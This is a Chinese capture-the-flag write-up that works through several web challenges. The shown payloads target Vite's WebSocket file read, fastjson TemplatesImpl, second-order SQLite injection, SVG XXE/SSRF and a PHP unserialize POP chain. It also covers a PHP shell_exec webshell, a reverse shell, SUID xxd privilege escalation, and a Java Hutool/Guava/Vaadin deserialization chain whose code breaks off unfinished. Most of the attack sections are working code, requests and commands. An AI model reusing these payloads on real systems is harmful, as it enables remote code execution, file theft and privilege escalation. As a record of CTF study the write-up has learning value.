WEB
挂钩都在干什么呢?
航天基地充满了未来科技的气息,让我们来看看“科技”们都在干什么吧。
(如果有需要,可以连接 ws://114.66.26.224:8081 使用该页面。数据不包括任何真实游戏信息,均为自动生成。该地址与解题无关,仅供娱乐。)
附件是源码

robots.txt里给了 /@fs/路径,但不知道是啥
#robots.txt
User-agent: *
Disallow: /@fs/
后面复盘的时候得知是vite的特殊文件系统访问路径,可以用于访问内部绝对路径如 /@fs//flag即访问 /flag,但直接使用http访问会受到 Vite server.fs.allow的限制,返回403

docker-entrypoint.sh给了flag位置
#docker-entrypoint.sh
#!/bin/sh
set -eu
echo $FLAG > /flag
unset FLAG
chown ctf:ctf /flag
chmod 777 /flag
exec su-exec ctf npm run start
package.json里发现vite依赖
{
"name": "vite-hidden-transport",
"private": true,
"version": "1.0.0",
"scripts": {
"start": "vite --host 0.0.0.0 --port 5173"
},
"dependencies": {
"vite": "6.4.1"
}
}
在main.js发现默认会尝试连接 ws://127.0.0.1:8081,会获得坐标等信息
这里尝试ssrf发现限制了协议头,在进一步尝试前发现nuclei扫描到cve了
CVE-2026-39365和CVE-2026-39363
┌──(root㉿kali)-[~]
└─# nuclei -u http://114.66.24.233:31752/
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.8.0
projectdiscovery.io
[INF] Your current nuclei-templates v10.4.5 are outdated. Latest is v10.4.6
y
[INF] Current nuclei version: v3.8.0 (outdated)
[INF] Current nuclei-templates version: v10.4.5 (outdated)
[INF] New templates added in latest release: 86
[INF] Templates loaded for current scan: 10447
[INF] Executing 10430 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 17 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 2389 (Reduced 2256 Requests)
[INF] Using Interactsh Server: oast.site
[CVE-2026-39365] [http] [medium] http://114.66.24.233:31752/node_modules/.vite/deps/../../../config.production.js.map ["/app/config.production.js"]
[CVE-2026-39363] [javascript] [high] 114.66.24.233:31752
[dameng-detect] [javascript] [info] 114.66.24.233:31752
[robots-txt-endpoint] [http] [info] http://114.66.24.233:31752/robots.txt
[INF] Skipped 114.66.24.233:5814 from target list as found unresponsive permanently: Get "https://114.66.24.233:5814/autopass": cause="port closed or filtered" address=114.66.24.233:5814 chain="i/o timeout"
[package-json] [http] [info] http://114.66.24.233:31752/package.json
[package-json] [http] [info] http://114.66.24.233:31752/package-lock.json
[http-missing-security-headers:x-content-type-options] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:referrer-policy] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:content-security-policy] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:x-frame-options] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:strict-transport-security] [http] [info] http://114.66.24.233:31752/
[http-missing-security-headers:permissions-policy] [http] [info] http://114.66.24.233:31752/
[INF] Skipped 114.66.24.233:4040 from target list as found unresponsive permanently: cause="port closed or filtered" address=114.66.24.233:4040 chain="connection refused; got err while executing https://114.66.24.233:4040/jobs/?\"'><script>alert(document.domain)</script>"
[robots-txt] [http] [info] http://114.66.24.233:31752/robots.txt
[INF] Scan completed in 7m. 17 matches found.
这里用Vite开发服务器任意文件读取漏洞
Vite 是一个用于 JavaScript 的前端工具框架。在 6.0.0 到 6.4.2、7.3.2 和 8.0.5 之前的版本中,如果能够以不带 Origin 标头的方式(Vite 的 HMR 通道使用 WebSocket 子协议 vite-hmr 。连接时不发送 Origin ,可以进入 HMR 通道)连接到 Vite 开发服务器的 WebSocket,攻击者可以通过自定义 WebSocket 事件 vite:invoke 调用 fetchModule,并将 file://... 与 ?raw(或 ?inline)结合使用,从而以 JavaScript 字符串的形式(例如,export default "..."))检索服务器上任意文件的内容。HTTP 请求路径中强制执行的访问控制(例如 server.fs.allow)不适用于这种基于 WebSocket 的执行路径。此漏洞已在 6.4.2、7.3.2 和 8.0.5 版本中修复。
漏洞本质是受影响版本把 fetchModule 暴露给 HMR RPC 调用,而这一调用没有正确应用 server.fs 文件访问检查。因此即使配置中启用了 fs.strict ,并且只允许应用目录,也仍然可以访问根目录下的文件。
漏洞利用
1.BURP->Proxy->WebSockets history
2.找到Direction为TO server,右键发送至repeater

3.修改请求为
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "send:proof",
"data": [
"file:///etc/passwd?raw"
]
}
}

成功任意文件读取
读取/flag即可

flag{AN@1yzlnG-peRfeCt-Book_cluB_ExP3rIEnc32345}
文件编辑系统
一个简易的文档编辑系统,保存的文档存储在upload目录下
进入能看到经典登录口

提示我们注册角色固定为ROLE_USER
开放注册功能可以用来测试管理员账号,得到管理员用户名admin

这里能直接爆破出管理员账密 admin:admin123

查看源码简单对比下普通用户功能和管理员功能
GET /api/admin/doc/files
GET /api/admin/doc/files/${encodeURIComponent(id)}
POST /api/admin/doc/create
POST /api/admin/doc/batchUpdate
DELETE /api/admin/doc/delete/${encodeURIComponent(id)}
GET /api/doc/preview
普通用户有预览功能能读取文件,猜测可能是 admin RCE 后用于读取flag,测试下目录穿越../upload/readme.txt成功,但测试相邻层级和深度穿越均失败,用 /proc/self/cwd/upload/readme.txt成功,而/etc/passwd失败,说明会解析真实路径,但限制了访问需要在upload目录中
测试batchUpdate的时候发现,修改docId字段为非整型会报错,报错内容能看到fastjson的pareseObject,这说明请求json被解析为了对象

但这里如果要用fastjson反序列化漏洞需要确认版本,fastjson各版本payload差异较大
这里ai测试判断版本大致在1.2.23-1.2.27
之后就是poc链的选择,最常见的肯定是 JdbcRowSetImpl,但是这里有preview接口可读,因此只需要达到复制生成本地文件的效果就可以了,因此选择TemplatesImpl
这里简单看下链路,wp不是fastjson详解因此不做源码分析
-> 实例化 TemplatesImpl
-> 设置 _bytecodes / _name / _tfactory 等字段
-> 访问 _outputProperties 属性
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl.newTransformer()
-> TemplatesImpl.getTransletInstance()
-> TemplatesImpl.defineTransletClasses()
-> defineClass 加载 _bytecodes 里的 class
-> newInstance 实例化 translet
-> 恶意 class 的 static 代码块执行
最终发现flag在环境变量里
payload如下,注意要使用java8进行编译
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class GetFlag extends AbstractTranslet {
static {
try {
String value = System.getenv("FLAG");
if (value == null) {
value = "FLAG_ENV_NOT_SET";
}
java.nio.file.Path dir = java.nio.file.Paths.get("upload");
java.nio.file.Files.createDirectories(dir);
java.nio.file.Files.write(
dir.resolve("flag.txt"),
value.getBytes("UTF-8")
);
} catch (Exception ignored) {
}
}
public void transform(
DOM document,
SerializationHandler[] handlers
) throws TransletException {
}
public void transform(
DOM document,
DTMAxisIterator iterator,
SerializationHandler handler
) throws TransletException {
}
}
将上面编译为class文件后转base64放入如下poc后发送
{
"docId": 2,
"title": "flag-trigger",
"status": "draft",
"content": "FLAG-TRIGGER",
"probe": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"<SafeFastjsonFlagbd326e0f.class 的 Base64>"
],
"_name": "flag",
"_tfactory": {},
"_outputProperties": {}
}
}
这里是直接写入了upload/flag.txt,直接读取即可

web?re?
众所周知,web手除了web啥都会 (容器启动需要2min,请耐心等待)
sql二次注入
页面提供登录注册账户,用户列表用于查看用户,/user/<用户名>能查看具体用户信息

普通用户登录没出现额外交互功能,第一步应该需要拿到admin账户权限
尝试爆破以及sql注入无果,思考一下
这里在用户信息里发现正确域名的邮箱会出现同域名用户推荐,而我们随便注册的非正常格式域名则不会显示用户推荐


这里能说明后端对输入的域名进行了解析,从格式上来说看上去是sql注入的二次注入,使用union进程测试

成功字符型注入并发现回显点
继续注入发现是sqlite,进一步注入即可拿到admin凭证 admin:AdminP@ssw0rd!2026
user@' union select 1,2,sqlite_version() --
user@' union select 1,name,sql from sqlite_master where type='table' --
user@' union select id,username,password from users where username='admin' --

svg的xxe打ssrf
登录admin用户显示文件上传功能

这里算xxe的题目做少了,不然看到svg就能反映过来xml解析了
在这里试错后才发现后端会解析XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<text x="1" y="1">&xxe;</text>
</svg>

成功验证xxe,这里有些文件读不到,应该是权限问题,而且没找到flag,寻找下其他攻击面
这里测试 内网ssrf时发现base64回显 <!ENTITY xxe SYSTEM "http://127.0.0.1/">

php反序列化(难哭了家人们)
解码后代码如下
<?php
class test {
public $readflag;
public $f;
public $key;
public function __construct() {
$this->readflag = new class {
public function __construct() {
if (isset($_GET['file'])) {
$GLOBALS['file'] = $_GET['file'];
}
}
public function __wakeup() {
phpinfo();
}
public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
base64_encode(include($file));
}
}
}
};
}
public function __wakeup() {
if (is_array($this->f)) {
$new = [];
foreach ($this->f as $k => $v) {
if (is_string($v)) {
$new[$k] = strval($v);
} elseif (is_object($v)) {
$new[$k] = clone $v;
} else {
$new[$k] = $v;
}
}
$this->f = $new;
}
if (is_string($this->readflag)) {
$this->readflag = strval($this->readflag);
}
if (is_string($this->key)) {
$this->key = strval($this->key);
}
}
public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
} else {
echo base64_encode(file_get_contents('index.php'));
}
}
}
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);
明显是php反序列化,这里能看出80端口还运行了php服务,返回的是 echo base64_encode(file_get_contents('index.php')); index.php的base64
这时候能大致理清poc链
__destruct 任意 callable
-> test对象 手动调用 __construct 创建匿名对象
-> 匿名对象 readflag 方法定义全局 readflag()
-> 调全局 readflag()
-> include($_GET['file'])
总共需要四个test对象放到一个数组里序列化
seed:普通test对象
c1: 调 test::__construct()
-> 目标进程里 new class
-> 拿到匿名对象
c2: 调 匿名对象->readflag()
-> 定义全局 readflag()
c3: 调 全局 readflag()
-> include($_GET['file'])
这里析构时为了确保c1 c2 c3顺序执行,用析构顺序触发__destruct()
为了保证调用的是同一对象,需要使用 r:x 和 R:x 指向之前的类和对象
r:N = 对已出现对象/值的普通引用,常见于同一个对象重复出现
R:N = PHP 引用,也就是 & 那种 zval alias
例子:
class A{};
$o = new A();
echo serialize([$o, [$o, "m"]]);
会出现:
r:2
a:2:{i:0;O:1:"A":0:{}i:1;a:2:{i:0;r:2;i:1;s:1:"m";}}
而:
$x = 123;
echo serialize([&$x, &$x]);
会出现:
R:2
a:2:{i:0;i:123;i:1;R:2;}
outer array
├── i:0 = seed test object // 反序列化引用表里的 #2
├── i:1 = c1 test object
├── i:1 = N // 覆盖 c1,触发 c1->__destruct()
├── i:3 = c2 test object
├── i:3 = N // 覆盖 c2,触发 c2->__destruct()
├── i:5 = c3 test object
├── i:5 = N // 覆盖 c3,触发 c3->__destruct()
└── i:0 = N // 最后清 seed
c1要引用seed的test对象
举个引用的例子
a:2:{i:0;O:1:"A":1:{s:1:"x";N;}i:1;a:2:{i:0;r:2;i:1;s:1:"m";}}
#1 = 最外层数组
#2 = 第一个对象 $o
r:2 指向前面那个 $o
因此c1里用r:2指向那个test类
但实际上seed在unserialize()后会触发 __wakeup()
因此 c1 最后调用的是clone($seed)->__construct();
public function __wakeup() {
if (is_array($this->f)) {
$new = [];
foreach ($this->f as $k => $v) {
if (is_string($v)) {
$new[$k] = strval($v);
} elseif (is_object($v)) {
$new[$k] = clone $v;
} else {
$new[$k] = $v;
}
}
$this->f = $new;
}
if (is_string($this->readflag)) {
$this->readflag = strval($this->readflag);
}
if (is_string($this->key)) {
$this->key = strval($this->key);
}
}
在c1执行 __construct() 后,那个 clone 出来的 test 对象的 readflag 属性被赋值成了运行时创建的匿名对象。这个匿名对象可以通过 R:3 拿到。
这里 R:3 里的 3 不是数组 key,也不是“第三个对象”,而是 PHP unserialize() 当前内部引用表的编号
R:3的获取方式是
1. 用 r:2 引用 seed;
2. 让 c1 先析构并执行 test::__construct();
3. 让目标进程现场产生匿名对象;
4. 在同版本 PHP 中测试 R:1、R:2、R:3 等编号;
5. 观察哪个编号在 c2 的 __wakeup() 中解析成 class@anonymous 对象。
最终payload如下
a:8:{i:0;O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:10:"phpversion";s:3:"key";s:4:"func";}i:1;O:4:"test":3:{s:8:"readflag";s:9:"CONSTRUCT";s:1:"f";a:2:{i:0;r:2;i:1;s:11:"__construct";}s:3:"key";s:4:"func";}i:1;N;i:3;O:4:"test":3:{s:8:"readflag";s:6:"DEFINE";s:1:"f";a:2:{i:0;R:3;i:1;s:8:"readflag";}s:3:"key";s:4:"func";}i:3;N;i:5;O:4:"test":3:{s:8:"readflag";s:6:"INVOKE";s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}i:5;N;i:0;N;}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "http://127.0.0.1/?file=<URL编码后的file>&land=<URL编码后的POP>">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<text x="1" y="1">&xxe;</text>
</svg>
示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "http://127.0.0.1/?file=%2Fapp%2Fuploads%2F1_20260729232534.svg&land=a%3A8%3A%7Bi%3A0%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A10%3A%22phpversion%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A1%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A9%3A%22CONSTRUCT%22%3Bs%3A1%3A%22f%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A2%3Bi%3A1%3Bs%3A11%3A%22__construct%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A1%3BN%3Bi%3A3%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A6%3A%22DEFINE%22%3Bs%3A1%3A%22f%22%3Ba%3A2%3A%7Bi%3A0%3BR%3A3%3Bi%3A1%3Bs%3A8%3A%22readflag%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A3%3BN%3Bi%3A5%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A6%3A%22INVOKE%22%3Bs%3A1%3A%22f%22%3Bs%3A8%3A%22readflag%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A5%3BN%3Bi%3A0%3BN%3B%7D">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<text x="1" y="1">&xxe;</text>
</svg>
注意在 DTD 的 SYSTEM "..." 字面量中,查询参数之间的 & 应保留为原始字符。这里若写成 & ,libxml2 会把 & 五个字符原样放进请求 URI,导致第二个参数不能正常解析
php filter chain
这里没限制包含目录,可以直接包含上传的svg文件
但这里具体路径/app/uploads/<.svg>是依靠flask容器通常以/app为工作目录,以及上传表和后台逻辑常用 uploads 目录猜出的
<?php
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
$out = shell_exec ($cmd . ' 2>&1');
echo base64_encode ($out);
?>
成功rce


但这种依靠猜的思路,只能说,是弱者的思维
filter在能解析php代码的包含场景下是可以 命令执行 rce 的
include()
|
|
打开php://filter流
|
|
读取resource=test
|
|
经过filter处理
|
|
得到最终内容
|
|
include解析最终内容
|
|
执行PHP
而在已知读取内容的情况下,可以转换已知内容拼出payload
垃圾字符
↓
iconv改变编码
↓
base64 decode
↓
产生部分PHP字符
↓
继续编码
↓
最终拼出payload
通常使用以下两个项目生成phpfilterchain
ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.、
synacktiv/php_filter_chain_generator
渗透
这里就按渗透思路做了,弹shell发现nc和busybox都没有,使用php成功弹shell,这个用kali自带的即可 /usr/share/webshells/php/php-reverse-shell.php

vps没装penelope,因此还要手动升级下tty
script -qc /bin/bash /dev/null

按渗透思路应该直接上linpeas.sh自动枚举和pspy64查定时任务
这里能找到suid的xxd程序
find / -user root -perm -4000 -print 2>/dev/null

这里直接看gtfobins里能看到xxd能做到任意文件读写

这里其实可以直接改文件提权了,但还是根据预期解走
在root的环境变量和历史命令里发现信息
xxd /root/.bashrc
xxd /root/.bash_history

能看到历史命令执行了 /usr/local/bin/sendthef1ag,拉下来逆向分析
这里省略ai逆向的过程了(学web不会逆向喵),总结就是它会读取环境变量里面的SEND_KEY然后解密flag发送到80端口,因此这里设置环境变量然后运行查看日志即可
export SEND_KEY=97b2d087-c452-4a14-8a91-5a7035b4ab38
/usr/local/bin/sendthef1ag
xxd /var/log/apache2/access.log

JavaMix
一个功能不完善的demo应用,似乎存在许多漏洞,但听说用了某种能防御0day的设备?你的AI能攻破它吗? (题目需要一定时间启动,请耐心等待一会儿,根据平台负载情况,最长可能需要5分钟左右)
FLAG格式:NepCTF{...}
SSRF重定向
给了jar包附件,先审计

典型的springboot结构,从接口开始找漏洞
追踪/admin/ping路由,能发现缺少对换行符的过滤,而且find只检测首段,可以使用%0a进行注入


但请求遭遇拦截

跳转发现是一个叫OpenRASP的防御系统,明显是题目里说的防御0day的信息

看了下这玩意应该没法直接绕,先放一边
追踪/fetch路由,能看到ip编码黑名单

但对重定向无防护,可以使用vps重定向绕过,在源码 /BOOT-INF/classes/application.properties 里能看到内网端口是8080
继续分析源码发现在SpringBoot框架里使用了 CXF webservice 组件,其专门处理 SOAP WSDL XML 到java方法的映射

在com.ctf.javamix/config/InternalAcessFilter里能看到限制了/services必须要从内网访问
这里了解下CXF的的具体调用流程
- 程序从JavaMixApplication.java:16 启动
SpringApplication.run(JavaMixApplication.class, args);
@SpringBootApplication 会同时开启组件扫描和自动配置
- Spring 扫描到 /config/InternalAccessFilter.java:30
@Component
public class InternalAccessFilter implements Filter
@Component:把它创建成 Spring Bean。
implements Filter:Spring Boot 发现这是 Servlet Filter Bean,自动注册给内嵌
Tomcat。项目里不需要手写 filter.doFilter(...),也没有找到手动注册 FilterRegistrationBean
的代码。
实际调用者是 Tomcat 的 FilterChain。每次 HTTP 请求进来,Tomcat 会依次调用已注册 Filter 的:
filter.doFilter(request, response, chain)
1.CXF Starter自动读取/BOOT-INF/classes/application.properties:8
cxf.path=/services
JAR 内的 CxfAutoConfiguration 会据此创建:
new ServletRegistrationBean(new CXFServlet(), "/services/*")
也就是说,Tomcat 内部有一条类似下面的映射:
/services/* -> CXFServlet
- 然后 Spring 处理 /config/CxfConfig.java:29 中的 @Bean:
EndpointImpl endpoint = new EndpointImpl(bus, new InternalDataServiceImpl());
endpoint.publish("/DataSyncService");
它不是注册 Servlet,而是在已经存在的 CXFServlet 内,注册一个具体 SOAP Endpoint:
/services/* CXF 的 Servlet 入口
/services/DataSyncService 具体 SOAP 服务
一次请求的实际调用链
请求 http://host:8080/services/xxxxx
Tomcat :8080 收到请求
-> Tomcat FilterChain
-> InternalAccessFilter.doFilter()
-> chain.doFilter()
-> Tomcat 根据 /services/* 找到 CXFServlet
-> CXFServlet 根据 /xxxxx 找到 EndpointImpl
-> 调用 InternalDataServiceImpl 对应的 SOAP 方法

在com.ctf.javamix/config/CxfConfig里能看到对具体服务进行了去敏

但CXF提供访问入口时,生成当前已发布的 SOAP 服务列表
这里就可以通过 /fetch 重定向ssrf打内网 /services
from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header(
"Location",
"http://127.0.0.1:8080/services"
)
self.end_headers()
server = HTTPServer(
("0.0.0.0",8000),
Handler
)
server.serve_forever()

返回内容是 SOAP WebService 的标准接口契约,定义了服务的全部数据结构、接口方法、传输协议与访问地址。该 WSDL 符合 Document/Literal 风格,由 Java 生态的 Apache CXF 框架生成
这里有风险的是 processTask 接口
<xs:complexType name="processTask">
<xs:sequence>
<xs:element minOccurs="0" name="taskData" type="xs:base64Binary"/>
</xs:sequence>
</xs:complexType>
<xs:complexType name="processTaskResponse">
<xs:sequence>
<xs:element minOccurs="0" name="return" type="xs:string"/>
</xs:sequence>
</xs:complexType>
能看到其数据类型是 xs:base64Binary XML Schema 标准的二进制数据类型。传输时数据会以 Base64 编码的文本放在 XML 报文中,服务端解析后会还原为原始字节流。
Java 映射规则:在 JAX-WS(CXF 实现的官方规范)中,xs:base64Binary 会被默认映射为 Java 中的 byte[](字节数组)类型。也就是说,服务端的 processTask 方法,接收的参数本质是一个字节数组。
在 Java WebService 开发中,如果只是传递普通结构化数据,开发人员会直接定义字段的 XSD 结构,由 JAXB 框架自动完成 XML ↔ Java 对象的转换,根本不需要用 byte[]。
一旦接口主动设计为「接收字节数组」,且方法名为 processTask(处理任务)、参数名为 taskData(任务数据),几乎都是业务代码的典型设计:将一个 Java 对象先做原生序列化(实现 Serializable 接口),转成 Base64 后通过这个参数传给服务端;服务端拿到 byte[] 后,直接用 ObjectInputStream.readObject() 进行反序列化,还原成 Java 对象再执行业务逻辑。
这就是典型的 Java 原生反序列化漏洞入口。
这里的请求格式如下,构造req.xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ws="http://ws.javamix.ctf.com/">
<soapenv:Header/>
<soapenv:Body>
<ws:processTask>
<taskData>此处替换为Base64编码后的序列化Payload</taskData>
</ws:processTask>
</soapenv:Body>
</soapenv:Envelope>
然后发包即可
curl -X POST http://127.0.0.1:8080/services/DataSyncService \
-H "Content-Type: text/xml;charset=UTF-8" \
-H "SOAPAction: \"\"" \
-d @req.xml
hutools二次反序列化
官方wp给了未脱敏源码

其实这里看出反序列化入口后根据源码,ai大致也能还原出代码
不过反正是把我的ai难住了()
能看到存在SafeObjectInputStream和自定义的黑名单,在resolveClass处进行了过滤
这里需要从 pom.xml 的依赖表和 /BOOT-INF/classes/blacklists.txt 里找到能够使用的依赖以及找到绕过黑名单的方法
这里需要采用二次反序列化的方法对黑名单进行绕过
这算是第一次接触二次反序列化,简单理解了一下
Outer Payload
|
v
SafeObjectInputStream
|
v
正常通过
|
v
某个对象readObject()
|
v
Hutool deserialize()
|
v
Inner Payload
|
v
真正RCE
具体链路如下
* SafeObjectInputStream.readObject() // 第一次反序列化入口(带类黑白名单校验的安全输入流)
* → HashMap.readObject() // 反序列化还原 HashMap 对象,进入其自定义反序列化逻辑
* → hash(key) → key.hashCode() // 重建哈希表,对每个 key 计算哈希槽位
* → Equivalence$Wrapper.hashCode() // HashMap 的 key 为 Guava Equivalence.Wrapper 包装实例
* → equivalence.hash(reference) // Wrapper 将哈希计算委托给内部 equivalence 对象
* → FunctionalEquivalence.doHash(reference)
* → function.apply(reference) // function 为 ToStringFunction 实例,执行对象转换
* → reference.toString() // 调用被包装对象的 toString 方法,目标为 PropertysetItem
* → PropertysetItem.toString()
* → 遍历所有属性项拼接字符串
* → NestedMethodProperty.getValue() // 获取单个属性的值
* → Method.invoke(instance, getter) // 反射调用目标对象的 getter 方法
* → MapProxy 对应 getter 方法执行 // 动态代理对象拦截 getter 调用,触发后续逻辑
* → SerializeUtil.deserialize() // Hutool 工具类反序列化,开启第二次反序列化(不受外层安全流约束)
* → 【第二次反序列化阶段】
* → TemplatesImpl.readObject()
* → getTransletInstance()
* → defineClass 加载恶意 translet 字节码
* → 恶意类实例化 → 静态代码块/构造器执行 → 远程代码执行(RCE)
第一层 guava 触发toString
hash(key)调用key.hashCode(),而由于 guava组件存在 可以将 Equivalence.Wrapper 作为key传入,调用Equivalence.Wrapper.hashCode()
Guava 的 Equivalence.Wrapper 本身不实现具体的哈希逻辑,它的 hashCode() 是完全委托给内部持有的 equivalence 策略对象,计算目标是内部包裹的 reference
当内部的 equivalence 是 FunctionalEquivalence(函数式等价实现)时,哈希计算会多出一步对象转换
// com.google.common.base.FunctionalEquivalence
final Function<? super F, ? extends T> function;
@Override
protected int doHash(F key) {
// 先通过 function 转换对象,再对转换结果算哈希
return equivalence.hash(function.apply(key));
}
当这个 function 被设置为 Guava 内置的 ToStringFunction 时,转换动作就等价于调用对象的 toString()
// com.google.common.base.ToStringFunction
@Override
public String apply(Object o) {
return o.toString();
}
第二层 vaadin 调用getter
这个是经典toString → getter
PropertysetItem.toString() → 批量触发属性 getValue ()PropertysetItem 是 Vaadin 中「属性集合」的通用实现,内部可以存放多个 Property 对象,每个 Property 对应一个业务属性。
它的 toString() 方法没有任何安全校验,逻辑非常直接:遍历自身所有属性,逐个调用 getValue() 取值,拼接成字符串返回,核心源码如下:
public String toString() {
String retValue = "";
// 遍历所有属性的ID
Iterator<?> i = this.getItemPropertyIds().iterator();
while (i.hasNext()) {
Object propertyId = i.next();
// 取出对应Property对象,直接调用getValue()
retValue = retValue + this.getItemProperty(propertyId).getValue();
if (i.hasNext()) {
retValue = retValue + " ";
}
}
return retValue;
}
核心作用:作为
toString → 方法调用的跳板。只要触发了PropertysetItem.toString(),就会自动执行它内部所有 Property 的getValue()方法。
然后利用 NestedMethodProperty.getValue() → 反射执行 getter 方法NestedMethodProperty 是 Vaadin 提供的「嵌套属性访问器」,设计目的是通过字符串属性路径(比如 user.address.city)直接读取 JavaBean 的深层属性,底层完全基于 Java 反射实现
它的 getValue() 核心执行流程:
拆分属性路径:将传入的属性名按
.分割成多级属性序列(如["user", "address", "city"])逐级反射调用:从根目标对象开始,对每一级属性名:
- 按照 JavaBean 规范拼接 getter 方法名:属性名首字母大写,前缀加
get(布尔类型兼容is前缀),例如user→getUser() - 通过
Class.getMethod()获取对应的无参Method对象 - 调用
Method.invoke(当前层级对象, null)执行 getter,拿到下一级对象
返回最终结果:执行完最后一级 getter 后,返回最终的属性值
简化核心逻辑
public Object getValue() {
Object current = targetInstance; // 我们构造的目标对象
for (String propName : propertyPath) {
// 按JavaBean规范拼接getter方法名
String getterName = "get" + propName.substring(0,1).toUpperCase() + propName.substring(1);
// 反射获取无参方法
Method getter = current.getClass().getMethod(getterName);
// 执行getter,进入下一层对象
current = getter.invoke(current);
}
return current;
}
第三层 Hutool二次反序列化
MapProxy是Hutool 工具库提供的类 ——它本身就是 JDK 动态代理的 InvocationHandler 实现
MapProxy 直接实现了 JDK 原生的 java.lang.reflect.InvocationHandler 接口,内部持有一个 Map 作为数据源,同时自身提供了生成代理对象的方法:
// 核心方法:生成动态代理 Bean
public <T> T toProxyBean(Class<T> interfaceClass) {
return (T) Proxy.newProxyInstance(
ClassLoaderUtil.getClassLoader(),
new Class<?>[]{interfaceClass},
this // 把自己作为 InvocationHandler 传入
);
}
当 Vaadin 的 NestedMethodProperty 通过反射调用代理对象的 getter 方法时,会被动态代理拦截,进入 MapProxy#invoke() 执行
完整执行流程如下
识别 JavaBean getter
校验方法符合 getter 规范:无参数、有返回值、方法名以
get(布尔类型兼容is)开头。解析对应字段名
去掉方法名的
get/is前缀,首字母转小写,得到 Map 的键名。例如调用
getBytes()→ 解析出字段名bytes。从内部 Map 取值
调用
this.map.get(fieldName),取出我们提前存入的恶意序列化字节数组byte[]。自动类型转换(触发二次反序列化的关键)
调用
Convert.convert(method.getReturnType(), mapValue),把 Map 里的值强制转换成 getter 方法声明的返回类型。核心利用点:当目标返回类型是任意对象类型(如
Object、TemplatesImpl),而输入值是byte[]字节数组时,Hutool 的类型转换体系会自动调用ObjectUtil.deserialize()(底层等价于SerializeUtil.deserialize()),对字节数组执行原生 Java 反序列化—— 这就是不受外层安全流约束的第二次反序列化。
真正触发二次反序列化的核心
cn.hutool.core.util.SerializeUtil.deserialize()
类似
public static Object deserialize(byte[] bytes){
ObjectInputStream ois =
new ObjectInputStream(
new ByteArrayInputStream(bytes)
);
return ois.readObject();
}
二次反序列化后就走TemplatesImpl链即可
最终payload如下
import com.google.common.base.Equivalence;
import com.google.common.base.Functions;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.ui.Layout;
import cn.hutool.core.map.MapProxy;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Properties;
public class VaadinHutoolSecondaryDeserialize {
// ========== 1. 外层入口:Guava HashMap 触发 hashCode ==========
@SuppressWarnings("unchecked")
private static Object wrapWithGuavaHashMap(Object toStringTarget) throws Exception {
Equivalence<Object> eq = (Equivalence<Object>) (Equivalence<?>)
Equivalence.equals().onResultOf(Functions.toStringFunction());
